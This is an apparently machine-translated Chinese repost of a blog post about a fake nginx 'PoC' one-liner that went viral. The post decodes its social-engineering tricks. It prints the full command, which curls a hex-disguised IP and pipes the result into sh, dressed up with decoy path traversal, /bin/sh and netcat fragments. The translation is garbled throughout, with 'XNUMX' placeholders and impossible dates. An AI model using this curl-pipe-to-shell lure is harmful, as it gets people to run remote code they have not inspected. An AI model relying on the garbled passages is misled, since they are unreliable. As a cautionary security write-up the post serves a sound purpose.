筆記。 翻譯。:
TL;DR:在任何情況下都不要在 sh 或 bash 中使用檔案管道。 這是失去對電腦控制的好方法。
我想與大家分享一個關於 31 月 XNUMX 日創作的漫畫 PoC 漏洞的小故事。 他立即現身回應訊息
在完成了curl中新的混淆技術的研究後,我引用了原始推文並“洩露了一個工作PoC”,其中包含一行程式碼,據稱該程式碼利用了已發現的漏洞。 當然,這完全是無稽之談。 我以為我會立即暴露,並且最多我會得到一些轉發(哦,好吧)。
然而,我無法想像接下來發生的事。 我的推文人氣飆升。 令人驚訝的是,目前(莫斯科時間15月00日1:XNUMX)很少人意識到這是假的。 許多人根本沒有檢查就轉發了它(更不用說欣賞它輸出的可愛的 ASCII 圖形了)。
看看它多麼美麗!
雖然所有這些循環和顏色都很棒,但很明顯,人們必須在電腦上運行程式碼才能看到它們。 幸運的是,瀏覽器以同樣的方式工作,再加上我真的不想陷入法律麻煩,埋在我的網站中的程式碼只是進行回顯調用,而不嘗試安裝或執行任何其他程式碼。
小題外話:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
社會電子工程 (SEE) - 不僅僅是網路釣魚
安全性和熟悉度是這個實驗的主要部分。 我認為他們是他成功的原因。 命令列透過引用「127.0.0.1」(眾所周知的本地主機)明確暗示了安全性。 本機被認為是安全的,其上的資料永遠不會離開您的電腦。
熟悉度是實驗的第二個關鍵 SEE 組成部分。 由於目標受眾主要由熟悉電腦安全基礎知識的人組成,因此創建程式碼以使其中的某些部分看起來熟悉和熟悉(因此安全)非常重要。 借用舊的漏洞利用概念的元素並以不尋常的方式將它們結合起來已被證明是非常成功的。
下面就來詳細分析一下單行本。 這份清單上的所有東西都穿著 化妝品性質,並且其實際操作幾乎不需要任何東西。
哪些組件才是真正必要的? 這 -gsS
, -O 0x0238f06a
, |sh
以及網頁伺服器本身。 Web 伺服器不包含任何惡意指令,只是使用指令提供 ASCII 圖形 echo
在包含的腳本中 index.html
。 當使用者輸入一行時 |sh
在中間, index.html
載入並執行。 幸運的是,網頁伺服器的管理員並沒有惡意。
-
../../../%00
——代表超越目錄; -
ngx_stream_module.so
— 隨機 NGINX 模組的路徑; -
/bin/sh%00<'protocol:TCP'
- 據說我們正在推出/bin/sh
在目標機器上並將輸出重新導向到 TCP 通道; -
-O 0x0238f06a#PLToffset
- 秘方,補充#PLToffset
,看起來像是 PLT 中以某種方式包含的記憶體偏移量; -
|sh;
- 另一個重要的片段。 我們需要將輸出重新導向到 sh/bash,以便執行來自位於以下位置的攻擊 Web 伺服器的程式碼:0x0238f06a
(2.56.240.x
); -
nc /dev/tcp/localhost
- netcat 所指的虛擬對象/dev/tcp/localhost
這樣一切看起來又安全了。 事實上,它什麼也沒做,只是為了美觀而被列入其中。
一行腳本的解碼和「社會電子工程」(複雜的網路釣魚)方面的討論到此結束。
Web伺服器設定及對策
由於我的絕大多數訂閱者都是資訊安全/駭客,我決定讓網頁伺服器對他們的「興趣」表達更有抵抗力,這樣他們就可以有事可做(而且這會很有趣)設定)。 由於實驗仍在進行中,我不會在這裡列出所有陷阱,但以下是伺服器所做的一些事情:
- 主動監控某些社交網路上的分發嘗試,並取代各種預覽縮圖以鼓勵用戶點擊連結。
- 將 Chrome/Mozilla/Safari/etc 重定向到 Thugcrowd 宣傳視頻,而不是顯示 shell 腳本。
- 監視明顯的入侵/公然黑客行為跡象,然後開始將請求重定向到 NSA 伺服器(哈!)。
- 在所有使用者透過常規瀏覽器存取主機的電腦上安裝特洛伊木馬以及 BIOS Rootkit(開個玩笑!)。
一小部分反劑
在這種情況下,我唯一的目標是掌握 Apache 的一些功能 - 特別是重定向請求的很酷的規則 - 我想:為什麼不呢?
NGINX 漏洞利用(真實!)
訂閱
來源: www.habr.com